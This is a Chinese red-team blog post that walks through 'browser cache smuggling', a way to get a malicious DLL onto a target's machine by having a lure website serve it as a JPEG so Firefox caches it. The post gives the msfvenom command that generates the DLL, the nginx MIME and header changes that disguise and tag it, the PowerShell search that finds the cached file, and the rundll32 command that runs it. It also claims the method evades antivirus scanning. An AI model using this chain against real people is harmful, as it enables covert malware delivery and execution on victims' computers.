

浏览器缓存走私

偶然读到一篇SensePost安全团队文章，利用浏览器缓存传递恶意软件，废话不多说直接复现测试。

在红队项目中，利用社会工程，引导目标人员访问一个特制网站，网站会在浏览器的缓存中悄悄放置恶意DLL文件，并且伪造成图片。

浏览器缓存机制

<https://blog.csdn.net/x550392236/article/details/132584609>

浏览器缓存是一种机制，它允许浏览器在用户首次访问网页时下载和存储文件，并在之后的访问中重复使用这些文件，以提高网页加载速度和减轻服务器负载。

这里我将使用Firefox演示说明。

下图是Firefox默认存储

本地磁盘 (C:) > 用户 > 3 > AppData > Local > Mozilla > Firefox > Profiles > zc3wufli.default-release > cache2 > entries					
名称	修改日期	类型	大小		
D2A3EC3A4E3DDCEFF4594F5EFAAD...	2023/11/28 18:25	.file	23 KB		
D2DA72982D29251932FA42020ECE4...	2023/11/28 18:38	.file	8 KB		
D3DEA109FBE5EA5ECA6AE7DF76656...	2023/11/28 18:39	.file	14 KB		
D5F9E8B09964375C3C60EF8B0F01E3...	2023/11/28 18:39	.file	12 KB		
D6AEB5A7650D7EB6266DA45564E12...	2023/11/28 18:38	.file	10 KB		
D60349870731AE7EC7AAF7B83A530...	2023/11/28 18:39	.file	13 KB		
D7DAD6C85C42C3FF2E5A87F730500...	2023/11/28 18:26	.file	11 KB		
D9E8C91F9D43F062DFA1BC9C2F6AA...	2023/11/28 18:39	.file	10 KB		
D12F682F778D4AA016DE7F37AD269...	2023/11/28 18:25	.file	14 KB		
D622C85E31B5BF773F03D6C0691665...	2023/11/28 18:26	.file	11 KB		
DB6B51BB7413B3AD0F74E768496B2...	2023/11/28 18:39	.file	11 KB		
DB134E6C0742A7D43A846673902B3...	2023/11/28 18:39	.file	78 KB		
DC9A856B6F90C46D82DE03C0F43EB...	2023/11/28 18:25	.file	13 KB		
DC60A52476FDD47B945B1173F83A9...	2023/11/28 18:25	.file	11 KB		
DE13A2DA5B6907E0051313DC7E8C9...	2023/11/28 18:39	.file	44 KB		
DE823F55D25A65CB6A13D1512FC3A...	2023/11/28 18:26	.file	10 KB		
E4C56F1B77E74A69FD958E94FCE403...	2023/11/28 18:39	.file	30 KB		
E4CBEA12A8E65E6660B70CDD5EB9C...	2023/11/28 18:39	.file	11 KB		
E4FE111128E9F329CD441AB1E2DB55...	2023/11/28 18:39	.file	12 KB		
E5CA77B3B5FA47867A81484465088C...	2023/11/28 18:39	.file	46 KB		
E5F1A02C95F6E0D9F88D4E3857212B...	2023/11/28 19:20	.file	10 KB		
E6CDC9B78E9C1EBCAC164DE096EFE...	2023/11/28 18:39	.file	13 KB		
E8E62EF9063A6362862AC30290FA7C...	2023/11/28 18:38	.file	11 KB		
E14ED702F112F35D1FFC7A5B627813...	2023/11/28 18:39	.file	12 KB		
E43B9B851B6E7889761E865A4D2AA...	2023/11/28 18:25	.file	11 KB		
E75BDF84C136B6919F8300520D10BE...	2023/11/28 18:39	.file	40 KB		
E75F922F669D402F8740240978DBBF...	2023/11/28 18:39	.file	11 KB		

让我们删除缓存内容，访问一个搭建测试网站，可以看见新下载下来的缓存文件，那么这是不是一种自动下载文件？

本地磁盘 (C:) > 用户 > 3 > AppData > Local > Mozilla > Firefox > Profiles > zc3wufli.default-release > cache2 > entries						在 er
名称	修改日期	类型	大小			
79A688AE08F0978135A1717A4C7610...	2023/11/28 19:23	.file	2 KB			
1624B123250B841418D8D886F9BA9E...	2023/11/28 19:23	.file	9 KB			
44828D591F0C06C922BC24B0C4F8C5...	2023/11/28 19:23	.file	4 KB			

我们该如何利用？

通过资料查阅，我们得知浏览器不会缓存浏览器提供的任何文件，它只会缓存静态资源。类似于图片、视频、JS/CSS。那我们是不是可以修改服务器配置导致浏览器缓存我们的恶意文件，让目标在浏览网站时候下载下来？

这里我采用PhpStudy搭建Nginx进行环境模拟

一键启动

WNMP

停止

开机自启

停用

数据库工具

打开

套件

Apache2.4.39

启动

重启

配置

FTP0.9.60

启动

重启

配置

MySQL5.7.26

停止

重启

配置

Nginx1.15.11

停止

重启

配置

运行状态

2023-11-28 19:32:18 Nginx1.15.11 已启动
2023-11-28 19:32:18 Nginx1.15.11 正在启动.....

清空

资源信息

2023-11-28 19:32:18 MySQL5.7.26 已启动
2023-11-28 19:32:17 MySQL5.7.26 正在启动.....

浏览器通过web服务器发送的Content-Type检测缓存文件，如下图所示OPl.jpg和th.jpg文件由服务器发送给了浏览器。类型为Content-Type=image/jpeg

状态	方法	域名	文件	发起者	类型	传输	大小	消息头	Cookie	请求	响应	耗时	栈跟踪
200	GET	192.168.8.100	/	document	html	1.18 kB	9...	过消息头					
200	GET	192.168.8.100	OPl.jpg	/28 (img)	jpeg	25.33 kB	2...	版本	HTTP/1.1				
200	GET	192.168.8.100	th.jpg	/28 (img)	jpeg	13.96 kB	1...	传输	25.33 kB (大小 25.08 kB)				
404	GET	192.168.8.100	favicon.ico	FaviconLoader.sys.mis...	html	2.84 kB	2...	Referer 忽略	strict-origin-when-cross-origin				
									请求优先级	Low			
									DNS 解析	系统			
									▼ 响应头 (243 字节)				
									① Accept-Ranges: bytes				
									① Connection: keep-alive				
									① Content-Length: 25084				
									① Content-Type: image/jpeg				
									① Date: Wed, 29 Nov 2023 06:47:47 GMT				
									① ETag: "6566b4ad-61fc"				
									① Last-Modified: Wed, 29 Nov 2023 03:49:01 GMT				
									① Server: nginx/1.15.11				
									▼ 请求头 (341 字节)				
									① Accept: image/avif,image/webp,*/*				
									① Accept-Encoding: gzip, deflate				
									① Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2				
									① Connection: keep-alive				
									① Host: 192.168.8.100				
									① Referer: http://192.168.8.100/				
									① User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101				

我们是否可以修改恶意文件的类型为图片类型等，让浏览器下载下来？

根据文章[mime.types 与 nginx配置 nginx content-type-CSDN博客](#)，当web服务器收到静态的资源文件请求时，依据请求文件的的后缀名在服务器的MIME配置文件中找到对应的MIME类型，再根据MIME-Types设置HTTP Response的Content-Types，然后浏览器根据Content-Types的值处理文件。

我们可以修改Nginx中的MIME类型映射，将bin、exe、dll对应的MIME改为image/jpeg

```
nginx.conf x mime.types x
58 application/x-makeself run;
59 application/x-perl pl pm;
60 application/x-pilot prc pdb;
61 application/x-rar-compressed rar;
62 application/x-redhat-package-manager rpm;
63 application/x-sea sea;
64 application/x-shockwave-flash swf;
65 application/x-stuffit sit;
66 application/x-tcl tcl tk;
67 application/x-x509-ca-cert der pem crt;
68 application/x-xpinstall xpi;
69 application/xhtml+xml xhtml;
70 application/xspf+xml xspf;
71 application/zip zip;
72
73 application/octet-stream bin exe dll;
74 application/octet-stream deb;
75 application/octet-stream dmg;
76 application/octet-stream iso img;
77 application/octet-stream msi msp msm;
78
79 audio/midi mid midi kar;
80 audio/mpeg mp3;
```

我们只需要删除指定MIME映射，改修全局默认“image/jpeg”（方便测试）

```
http {
    default_type image/jpeg;
    #log_format main '$remote_addr - $remote_user [$time_local]
```

以下是模拟过程：

1.利用msfvenom成恶意DLL文件。

```
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > test.dll
```

2.编写html文件，插入DLL文件，图片类型。

```
index.html x nginx.conf x
1 <html>
2 <body>
3 <h1>TEST</h1>
4 
5 </body>
6 </html>
```

3.模拟目标访问测试网站。

200	GET	192...	test.dll	img	jpeg	已缓存	9
404	GET	192...	favicon.ico	Favicon...	html	2.84 kB	2
404	GET	192...	favicon.ico	Favicon...	html	已缓存	2

状态	200 OK ⑦
版本	HTTP/1.1
传输	9.22 kB (大小 9.22 kB)
Referrer 策略	strict-origin-when-cross-origin
请求优先级	Low
DNS 解析	系统

▼ 响应头 (242 字节)
⑦ Accept-Ranges: bytes
⑦ Connection: keep-alive
⑦ Content-Length: 9216
⑦ Content-Type: image/jpeg
⑦ Date: Thu, 30 Nov 2023 01:30:46 GMT
⑦ ETag: "6566ee2a-2400"
⑦ Last-Modified: Wed, 29 Nov 2023 07:54:18 GMT
⑦ Server: nginx/1.15.11

▼ 请求头 (342 字节)
⑦ Accept: image/avif,image/webp,*/*
⑦ Accept-Encoding: gzip, deflate
⑦ Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
⑦ Connection: keep-alive
⑦ Host: 192.168.8.100
⑦ Referer: http://192.168.8.100/
⑦ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

5 个请求	已传输 23.87 kB / 12.66 kB	完成: 97 毫秒	load: 79 毫秒
-------	-------------------------	-----------	-------------

访问about:cache?storage=disk，成功缓存到本地电脑。

Cache entry information

key:	http://192.168.8.100/test.dll
fetch count:	1
last fetched:	2023-11-29 01:28:40
last modified:	2023-11-29 01:28:40
expires:	2023-11-29 01:38:06
Data size:	9216 B
Security:	This document does not have any security info associated with it.

necko:classified:	1
strongly-framed:	1
request-method:	GET
response-head:	HTTP/1.1 200 OK Server: nginx/1.15.11 Date: Wed, 29 Nov 2023 09:28:40 GMT Content-Type: image/jpeg Content-Length: 9216 Last-Modified: Wed, 29 Nov 2023 07:54:18 GMT ETag: "6566ee2a-2400" Accept-Ranges: bytes
original-response-headers:	Server: nginx/1.15.11 Date: Wed, 29 Nov 2023 09:28:40 GMT Content-Type: image/jpeg Content-Length: 9216 Last-Modified: Wed, 29 Nov 2023 07:54:18 GMT Connection: keep-alive ETag: "6566ee2a-2400" Accept-Ranges: bytes
ctid:	3
net-response-time-onstart:	5
net-response-time-onstop:	5

因为当DLL被下载并存储在缓存中时，它被重命名为不带扩展名的随机文件名，所以完美躲过安全防护软件的扫描！

如何去定位并且运行这个DLL文件？

根据大佬提供思路，缓存下来的DLL文件还包含了一些其他数据，例如原始的响应数据，我们是不是从而修改服务器配置来给他进行特殊标记，便于我们定位？

```
events {
    worker_connections 40960;
}
http {
    default_type image/jpeg;

    #log_format main '$remote_addr - $remote_user [$time_local] "$request'
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';
    #access_log logs/access.log main;
    sendfile on;
    #tcp_nopush on;
    #keepalive_timeout 0;
    keepalive_timeout 65;
    #gzip on;
    # another virtual host using mix of IP-, name-, and port-based configura
    #
    server {
        listen 0.0.0.0:80;
        root C:/Users/phpstudy_pro/WWW;
        index index.html index.htm index.nginx-debian.html;
        # server_name somename alias another.alias;
        location /test.dll{
            default_type image/jpeg;
            add_header Tag DLLHERE;
        }
    }
}
```

重新加载可见DLL文件已经被打上标记

key:	http://192.168.8.100/test.dll
fetch count:	2
last fetched:	2023-11-29 19:25:15
last modified:	2023-11-29 19:24:54
expires:	2023-11-29 21:20:43
Data size:	9216 B
Security:	This document does not have any security info associated with it.
necko:classified:	1
strongly-framed:	1
request-method:	GET
response-head:	HTTP/1.1 200 OK Server: nginx/1.15.11 Date: Thu, 30 Nov 2023 03:23:47 GMT Content-Type: image/jpeg Content-Length: 9216 Last-Modified: Wed, 29 Nov 2023 07:54:18 GMT ETag: "6566ee2a-2400" Tag: DLLHERE Accept-Ranges: bytes
original-response-headers:	Server: nginx/1.15.11 Date: Thu, 30 Nov 2023 03:23:47 GMT Content-Type: image/jpeg Content-Length: 9216 Last-Modified: Wed, 29 Nov 2023 07:54:18 GMT Connection: keep-alive ETag: "6566ee2a-2400" Tag: DLLHERE Accept-Ranges: bytes
ctid:	3
net-response-time-onstart:	11
net-response-time-onstop:	11

标记之后们就可以搜索此特定字符串以在本地缓存目录中找到我们的 DLL 文件。

```
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries>  
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries> Select-String "DLLHERE" *  
2C0A6CD5EFA95542ED68614AA4B8205359433D53:15;Tag: DLLHERE  
2C0A6CD5EFA95542ED68614AA4B8205359433D53:24;Tag: DLLHERE
```

最后利用rundll32去执行

```
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries> rundll32 2C0A6CD5EFA95542ED68614AA4B8205359433D53, DLLMain  
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries> rundll32 2C0A6CD5EFA95542ED68614AA4B8205359433D53, DLLMain  
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries> rundll32 2C0A6CD5EFA95542ED68614AA4B8205359433D53, DLLMain  
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries> rundll32 2C0A6CD5EFA95542ED68614AA4B8205359433D53, DLLMain  
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries> rundll32 2C0A6CD5EFA95542ED68614AA4B8205359433D53, DLLMain  
PS C:\Users\3\AppData\Local\Mozilla\Firefox\Profiles\zc3wufli.default-release\cache2\entries>
```



根据提示另一种方法可以只是将现有的 DLL 移动到目标位置，以便在用户打开另一个应用程序时执行它。这会产生一个更加良性的命令，它本身不会下载或执行任何内容，它只会移动现有文件。然而，这种方法确实要求您的恶意 DLL 不会被 AV 静态检测到。